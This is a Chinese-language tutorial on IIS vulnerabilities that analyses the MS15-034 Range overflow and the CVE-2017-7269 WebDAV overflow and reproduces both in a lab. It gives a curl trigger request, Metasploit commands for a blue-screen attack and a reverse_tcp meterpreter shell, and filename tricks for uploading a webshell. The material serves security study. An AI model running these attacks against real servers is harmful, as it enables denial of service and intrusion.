IIS漏洞

Web安全, iis, 中间件

0x01、目的

IIS的漏洞比较多，大致只挑几个影响比较普遍的来讲，分为以下的部分

  • 1）远程代码执行（MS15-034及CVE-2017-7269）
  • 2）解析漏洞——通常结合文件上传
  • 3）IIS PUT写权限
  • 4）短文件名泄漏

0x02、IIS简述

Internet Information Services（IIS，以前称为 Internet Information Server）互联网信息服务是 Microsoft 公司提供的可扩展 Web 服务器，支持 HTTP，HTTP/2，HTTPS，FTP，FTPS，SMTP 和 NNTP 等。
根据 Netcraft 在 2018 年 9 月的最新全球 Web 服务器报告显示，Microsoft IIS 依旧以 9.57% 的比例占据全球第三大最繁忙服务器，落后于 Apache 34.07％和 Nginx 25.45％。
目前 IIS 一共发行 12 个版本，各版本漏洞数量以及所搭配的操作系统如下图1所示：注IIS1.0-4.0已退出市场


图1 IIS默认系统以及漏洞数量
IIS具体相关的漏洞如下图2所示：


图2 IIS相关漏洞
其中15年爆发的（MS15-034）HTTP.sys远程代码执行漏洞和16年的（MS16-016）WebDAV特权提升漏洞影响范围比较广泛。但在CVE官网IIS漏洞列表处暂未有MS16-016，所以将此归类到之后需要做的MS全系列当中，此文仅选取MS15-034以及CVE-2017-7269着重讲述。

0x03、漏洞详解

该部分将按照第一节的部分分别对不同漏洞从原理，环境复现，漏洞测试，以及实现结果来进行分解。
首先是第一部分MS15-034以及CVE-2017-7269

1.MS15-034及CVE-2017-7269

（1）MS15-034

漏洞简述：这是一处位于http.sys中的整数溢出漏洞，通过给IIS服务器发送特定格式的HTTP请求，可以触发该漏洞。
影响版本：IIS6.0及以上的包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内。
原理详解：
http.sys是微软从IIS6.0开始为优化IIS服务器性能而引入的一个内核模式驱动程序。该程序提供了两个重要的功能：

  • （1）Kernel mode caching
  • （2）Kernel mode request queuing
    出问题的点就在Kernel mode caching（内核模式缓存）中。

http.sys缓存工作原理简介：
IIS进程w3wp.exe先接收到HTTP请求后，就将数据缓存到内核，最后再由http.sys组织数据包经网络内核组件发送出去。其中，http请求中包括Ranges对象的指定范围，缓存中则包含了http文件和大小信息等。（下文详细解释）
漏洞触发点就在Range处。通过Bytes来设置返回请求中显示的字节数。如下图3所示。


图3 range返回字节数
先来看一下用于触发漏洞的HTTP请求：

1
2
3
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

对于range处的18446744073709551615数字转化为十六进制即是0xFFFFFFFFFFFFFFFF（16个F），是64位无符号整型所能表达的最大整数。既然是整数溢出，很容易联想到和Range里的这个超大异常整数有关。

这里涉及到一个函数：UlpParseRange函数，这个函数就实现了一个功能，从Range bytes=lower-upper（不是做减号，是一种格式）中，解析出lower（即读取范围的开始offset）和upper（即读取范围的结束offset），然后计算要读取的长度。正常情况下upper大于lower，因此长度就是upper-lower+1，根据RFC的定义，upper小于lower的时候Range无效。


图4 UlpParseRange函数
此处代码：第一行即执行upper-lower的操作。
问题出在第三行。根据上面构造的http请求range参数，upper就是0xF{16个}，lower为0时，将会发生整型溢出

  • （1）当lower=0时
    第三行代码计算了长度：upper-lower+1
    相当于0xF(16个)-0+1，加1后64位整型溢出。
  • （2）当lower！=0时
    则涉及到另一个函数：UlAdjustRangesToContentSize。该函数对offset_lower和length值同时进行判断。先检查offset_lower的合法性，如果offset_lower>contentsize，则会对Range的值进行删除操作，导致range失效。


图5 UlAdjustRangesToContentSize检查offset_lower

然后对长度进行了判断：如果length+offset_lower没有超过要请求的缓存文件数据长度，就是合法的。如果超出了，就把length裁剪为合适的长度，防止读取超出的数据。如下图5.2所示


图5.2 UlAdjustRangesToContentSize函数
但是此处的代码，没有检查是否溢出，打了补丁后的文件直接替换成调用RtlULongLongAdd函数来进行判断。
此处解释一下：当给出Range参数，lower的值不为0，而upper的值为64位无符号整型最大0xF{16}，同时还有个缓存区域contentsize。在这种情况下，上述代码判断的是：

1
2
lower_offset+length>(?)contentsize
Length=upper_offset-lower_offset+1

此时不管lower_offset为何值，由于upper_offset始终为0xF{16}，此时必然发生整型上溢，上溢为0<contentsize，所以此时相当于一定合法。再通过Range参数返回数据时，length长度没有进行裁剪。读取的范围将是从lower_offset起始点（可能位于contentsize任意位置处）往后读取length长度的值，造成内存泄漏等。
注：在实际实验过程中，面临一些问题。

  • （1）当lower!=0时，先检查的lower的值是否在contentsize范围内，但根据图5的代码，可以看出实际上还对upper进行了检查，在构造HTTP请求时，Range的upper值为64位无符号整型所表示的最大值，为什么在此处没有检查到upper导致range的失效？从而只要构造好lower值，就在大概率下可以触发蓝屏。
  • （2）实际测试中，利用Metasploit攻击时，只有设置TARGETURI为图片格式，也就是png,jpg等，且对请求图片字节数有要求才可能触发，形成原因尚未清楚。

漏洞测试：

  • （1）先来看一下metasploit打蓝屏的代码，这里挑了几个代码片段，如下图6所示：


图6 metasploit ms15-034打蓝屏代码段1
这段代码里实现的逻辑就是，获取从TARGETURI中提交来的请求（比如一张图片）的长度file_size，如果没有进行设置，那么默认为IIS网站新创建时有一张默认的welcome.png图片，再组合Range参数，将lower设成file_size-2，upper是固定值为0xF{16个}。所以lower的值在打蓝时是不停变动的，根据TARGETURI设置的值不同来进行改变。

注：有些在做该实验时不成功，注意看一下网站根目录下，是否有welcome.png这张图片，如果没有的话，需要自己设置TARGETURI。另，设置的TARGETURI需是图片格式（也就是根目录下有对应的图片格式的文件），对图片字节数是有要求的，这边尝试了几十字节，100多字节，300多字节均可以打蓝，但600多字节时不成功。建议选用默认图片welcome.png，多次测试均完美复现

  • （2）上述是打蓝的，实际在用的时候，如果是碰到一些生产系统，可能并不能随意进行测试，此时，可以利用metasploit该漏洞下check选项，先进行检查，该检查也可以通过自己发送HTTP请求看response的信息自行判断。将Range：bytes的lower改成0即可，当response里出现Requested Range Not Satisfiable，即认为该漏洞存在。注：自己测试的时候，可能会出现connections reset，需要多次尝试改变range的lower值。

具体操作：
漏洞环境搭建：win7+IIS服务 所用攻击机：kali
如下图7所示：


图7 win7开启IIS服务
控制面板下将打勾的部分全部勾选上，开启IIS服务
然后再新建网站：
网站右键单击，添加网站，在物理路径处，选择放在wwwroot下，新建一个文件夹，在该文件夹下放入html页面等等。搭建完成。如下图8所示


图8 搭建网站
网站根目录下放了默认的IIS图片以及自建的html页面等。


图9 根目录
测试一下，看看网站是否建好，访问新建好html页面，kali下访问win7靶机，如下图所示：


图10 kali下访问win7搭建的网站
漏洞检测
提供4种检测方式，可自行进行选择（实际核心东西不变，检测原理都是一套的）。

  • （1）利用curl发送构造好的http请求
    利用命令：

    curl http://192.168.189.130 -H "Host: 192.168.189.130" -H "Range: bytes=0-18446744073709551615"

    回显The requested range is not satisfiable，该漏洞存在

    图11 curl构造http请求

  • （2）Nmap测试
    利用命令：

    Nmap --script http-vuln-cve2016-1635 [ip] -p [port]

    如下图所示：

    图12 nmap测试ms15-034

  • （3）采用burp抓包，送入repeater，添加Range，进行重放。
    见上图3，查看response

  • （4）利用metaspolit

    1
    2
    3
    4
    Msf>use auxiliary/dos/http/ms15_034_ulonglongadd
    Msf>set RHOSTS [ip]
    Msf>set TARGETURI (可选)
    Msf>check

    只检查，无攻击

    Msf>exploit

    导致蓝屏
    如下图所示：

    图13 metasploit扫描ms15-034
    攻击结果：

    图14 win7蓝屏

注：MS15-034虽然定义成远程代码执行，但从发现至今，仍未找到能在理论上实现一键获权的EXP，只有打蓝屏的POC，所以究竟能不能实现其理论上的结论，仍然是个问号。有趣的是，国内一实验室发表的文章中，显示出了MS15-034的重要性，但国外对此则是debug调试分析完后因为已公布出来的研究人员的文章里谈到并没有找到EXP的方式，所以兴趣并没有很大，打蓝相对来说可实现的概率大一点，但在另一种利用方式上，读取其内存信息则不可预见性很强，概率非常低。

（2）CVE-2017-7269

漏洞简述：CVE-2017-7269是IIS6.0中存在的一个栈溢出漏洞，是由于在PROPFIND请求中一个不恰当“IF”头生效导致，攻击者可以构造恶意PROPFIND请求来进行溢出从而导致远程代码执行。进一步分析：在IIS6.0处理PROPFIND指令的时候，由于没有对输入URL的长度进行控制和检查，导致memcpy对虚拟路径进行构造的时候，引发栈溢出。

图15 PROPFIND请求
上图为一个简单的PROPFIND请求，PROPFIND和GET有些类似，主要用于获取Webdav的属性信息。
影响版本：针对没有ASLR保护的windows server 2003 R2更易利用
原理详解：
该漏洞涉及到的主要函数是ScStorageFromUrl函数，该函数中包含了GS（缓冲区溢出检查）检查机制，如果是常规覆盖ret方式利用，会把cookie覆盖掉，因此利用会失败。所以公开的POC中，会对GS检查进行绕过。
先来看一下触发漏洞后，通过wireshark抓包，看攻击机和目标主机之间的交互过程。

图16 攻击机与靶机交互
可以看到攻击主机向目标机发送了一个PROPFIND数据包，负责处理webdav，后边的VVY…一串的字符串则是经过编码后的攻击数据，而IF后跟的两个<>则包含了两个超长的http url请求，第一个就负责了栈溢出，中间还有一个lock token的指令内容。

达到的效果：
在靶机执行calc，进程创建在w2wp进程下，用户组是NETWORK SERVICE，效果图如下所示：

图17 执行calc
针对calc后台启动的问题，有文章分析，由于webdav服务进程本身是无窗口，所以calc即使定义成SW_SHOWNORMAL，也是在后台启动，表现出了SW_HIDE状态。

根据上面交互数据包，先进入内层函数看一下处理逻辑。
涉及到一处关键的函数处理逻辑HrChecklfHeader，负责webdav propfind函数对头部的检查，有一处while循环。如下图所示


图18 内层函数propfind头部检查部分代码
这里边的函数PszNextToken会连续获取IF后<>中的url，直到后边没有url，跳出循环，break掉之后，会进入lock token处理。POC中两个超长URL中就包含了一个lock段，用于漏洞触发导致远程代码执行。

全部过程大致可以分为三个环节：

  • 第一次：

    处理IF后面的第一个http url时，此时实际上就完成了第一次栈溢出。通过CStackBuffer函数获取stack buffer的值，存放在stack中的一个位置，接下来会进行第一次ScStorageFromUrl，处理第一个url值，这个值长度会覆盖到stack buffer指针存放位置但又不会覆盖触发gs检查。memcpy拷贝的还是一个栈地址，但由于没有检查URL长度，覆盖指针存放位置导致栈溢出，将栈地址变成堆地址，第二次处理的时候，就绕过了gs，输入长度不受限。

  • 中间：

    则通过（Not locktoken…）break之后，进入lock token处理，进行第二次调用ScStorageFromUrl

  • 最后：

    调用之后memcpy拷贝编码后的shellcode部分，再结合lock token处理，覆盖虚函数表等，达到远程代码执行的目的。

具体操作：
漏洞环境：Windows Server2003 R2（32位）
攻击机：kali
环境搭建：
过程简单，分为两步：
首先Win2003服务器开启webdav服务
如下图所示：

图19 win2003开启webdav服务
开启WebDAV发布注意，首次开启时，win2003默认没有I386包，需要网上下载该完整包，否则会导致后续需要自己添加各种动态链接dll，配置麻烦，建议直接下载。
直接按照默认提示安装完成后，打开管理工具下的IIS管理器，开启webdav。默认是禁止的。此时环境即搭建完成，测试一下，访问自带的页面pegerror.gif，如下图所示：

图20 测试网站开启
配置好后，利用metasploit工具进行攻击
靶机地址：192.168.189.135
攻击机地址：192.168.189.136
说明：metasploit虽然自带了测试CVE-2017-7269的模块，但在实际测试过程中，发现并不是特别好用，所以选取了另外单独下载，下载地址：

https://github.com/zcgonvh/cve-2017-7269

也是通过PROPFIND以及IF进行发包攻击，shellcode用的同一套。
手动导入到：

usr/share/metasploit-framework/modules/exploit/windows/iis/

重新加载metasploit。

Msf>reload_all

注：如果发现不能重新打开msf报错，可以进行修改导入的rb文件名，有些版本更新后可能命名规则不支持“-”
进入到metasploit后，开始进行攻击设置：

1
2
3
4
5
6
7
Msf>use exploit/windows/iis/iis_webdav(自命名) //输入use命令
Msf>show options  //查看输入选项
Msf>set RHOSTS 192.168.189.135  //设置靶机IP
Msf>set HttpHost 192.168.189.135//设置靶机网站网址
Msf>set payload windows/meterpreter/reverse_tcp //设置返回载荷
Msf>set LHOST 192.168.189.136 //设置攻击机IP
Msf>exploit	//进行溢出

溢出，获取远程shell，效果如下图所示：

图21 攻击效果
后续提权暂略

该漏洞复现过程稍显不那么顺利，碰到几个问题，先是win2003下载的没有I386的包，最开始尝试的自己挨个导入dll，但是后边确实缺的比较多，完整包也需要花费点时间进行寻找。然后开启webdav服务后，最开始利用的是metasploit进行攻击，发现每次都是no session created，查看监听进程，发现默认的4444端口也没有开启。所以多次尝试，决定换exp。可能是由于metasploit版本问题改了命名规则，所以一导进去metasploit就报错，结果先更新了一下，换了最新版kali最后才发现换个名字就可以reload_all。到这会儿，开始利用了第一次很成功的复现，但是关闭之后第二次就又开始出现no session created。
然后发现可以通过以下两种方式解决。

  • （A）先查看一下自己本机攻击机的监听端口，看一下默认端口是不是前面进程虽然退出了msf但还是没有关闭监听进程。可能进入了WAIT的状态。如果没有关闭，可以通过更改默认端口或者杀掉进程重开

  • （B）重启靶机，或者恢复快照
    以上为第一部分IIS远程代码执行的部分，分别讲述了MS15-034以及CVE-2017-7269的形成原理以及漏洞复现的过程和在这之中碰到的问题。MS15-034通过构造恶意的Range值，来造成整数上溢，从而实现打蓝屏的效果，该漏洞到此仍只有POC没有exp。CVE-2017-7269则通过构造PROPFIND恶意请求结合IF头，构造两个超长URL链接来实现远程代码执行。

2.解析漏洞——常结合文件上传

解析漏洞部分，主要涉及到IIS版本：win2003下的IIS6.0.

2.1 IIS6.0解析漏洞

漏洞简述：
IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误，从而造成文件解析漏洞。原理便是：IIS5.X/IIS6.0在文件路径中读取文件后缀时，遇到一个“.”就会进入一种截断状态，在该状态下遇到特殊符号“/”和“；”都会进行截断，只保留特殊符号前的部分。

2.1.1 Asp利用方式：

根据该漏洞形成原理，有两种不同的利用方式：

  • （1）/test.asp/test.jpg
  • （2）test.asp;.jpg

这两种方式都有个核心，就是上传的文件要能以asp方式解析，同时对上传文件的格式限制进行绕过。第一种就是新建了一个test.asp的文件目录，在这个目录下，任何文件都被IIS当作asp程序来执行。

2.1.2 php利用方式

上边是IIS+asp的情况，如果是php则将其解析方式改为php即可，变成：

  • （1）/test.php/test.jpg
  • （2）test.php;.jpg
2.1.3 后缀修改

同时，也可以进行尝试修改后缀名来进行上传绕过，同时还以asp程序执行。
可能IIS当作asp程序执行的后缀有：

1
2
3
4
.asp
.cer
.asa
.cdx

具体操作：
环境：windows 2003 IIS6.0+asp/php
利用工具：中国菜刀
先对上传页面进行一下简单尝试，看看有没有做后缀限制。此处是有的，不能直接上传asp文件。如下图所示：

图22 上传页面
抓包看看包结构，此处是搭的环境，所以有很明显的回显。给出了上传文件位置以及上传之后还做了一个重命名，也给出了重命名的文件名。如下图所示。

图23 上传抓包
此处经过测试，上边的红框uploadimg就是控制上传文件目录的地方。而filename则是控制文件名的地方，filename处首先经过了一个后缀名的检测，如果是asp会直接上传失败。改包并上传一句话。以/test.asp/test.jpg的方式。

图24 改包
注意，此处改包点，实际操作中应视具体情况而定。
上传成功且回显：

图25 上传成功
菜刀连接，如下图所示：

图26 菜刀连接

图27 连接成功，获取网站目录
与图24作为对比，采用上传方式为test.asp;.jpg的方式：

图28 以test.asp;.jpg的方式上传
后边过程同上。

3.IIS PUT写权限——简述

漏洞原理：
由于WebDAV协议是基于HTTP 1.1的通信协议，扩展了HTTP1.1，在GET、POST、HEAD等几个HTTP标准以外还添加了一些新的方法。
在这些方法里，造成应用程序可以直接对Web Server进行读写。即IIS PUT写权限漏洞。
漏洞利用过程：在允许上传的目录进行PUT操作，然后（注：此步不一定需要）再进行MOVE操作，将该上传的文件移动到允许以asp或者php执行的目录下。再根据上传的shell来选择连接方式。
漏洞检测：
抓包可以利用OPTIONS方法来看一下允许的HTTP方法，如下图所示：

图29 OPTIONS方法探测HTTP允许方式

也可以利用工具来直接进行扫描。如下图所示：

图30 IIS PUT scanner
由于自己搭的靶机有些问题，上传的文件返回了403Forbiden，所以此处采用了一些分析文章里截图。

图31 利用burpsuite进行上传
注：此处上传非常简单，而且该目录下可以直接执行php文件，所以不需要进行后续MOVE操作。有些不能直接上传成功php或者asp后缀名的文件时，可以参考IIS6.0解析漏洞来结合进行上传。

4.短文件名泄漏

此漏洞用法多集中在，利用短文件名，猜解一些特殊目录如上传点后台登陆点等。此处暂待…

0x04、总结

本文重点集中在分析IIS方面MS15-034以及CVE-2017-7269远程代码执行漏洞上，但是MS15-034到目前为止仍然只有打蓝的POC，没有可执行的exp。MS15-034是通过Range方法，构造超大整数（64位无符号最大整数）绕过http.sys程序中内核缓存模式下的整数检查，从而造成整数上溢实现打蓝屏的效果。而CVE-2017-7269则是由于IIS6.0开启WebDAV服务后存在的一个栈溢出漏洞。通过PORPFIND请求方式在IF头中构造超长URL，导致划定好的栈溢出变为可控的堆。再通过覆盖虚函数表存储区域，实现远程代码执行。解析漏洞主要关注IIS6.0下两种截断绕过方式（1）/test.asp/test.jpg（2）test.asp;.jpg。IIS PUT写权限也是IIS6.0下由于webDAV服务开放后，允许用户使用PUT方法进行文件上传，可结合解析漏洞进行使用。
文末给出一张参考图，如下图所示：

图32 IIS漏洞参考图

0x05、参考网址

概述：
http://app.myzaker.com/news/article.php?pk=5bf65a3c77ac645bdf1f71dc
https://www.freebuf.com/articles/web/172561.html

MS15-034:
https://www.securitysift.com/an-analysis-of-ms15-034/
http://blogs.360.cn/post/cve_2015_6135_http_rce_analysis.html
https://tools.ietf.org/html/rfc7233#section-4.4
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

CVE-2017-7269:
二进制分析：https://bbs.pediy.com/thread-216809.htm
https://blog.ht-sec.com/cve-2017-7269-hui-xian-poc-jie-xi/
https://blog.trendmicro.com/trendlabs-security-intelligence/iis-6-0-vulnerability-leads-code-execution/
https://blog.csdn.net/darkhq/article/details/79127820
https://blog.csdn.net/Sk_tang/article/details/79128340
http://vulsee.com/archives/vulsee_2017/0612_2358.html

IIS PUT写权限：
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/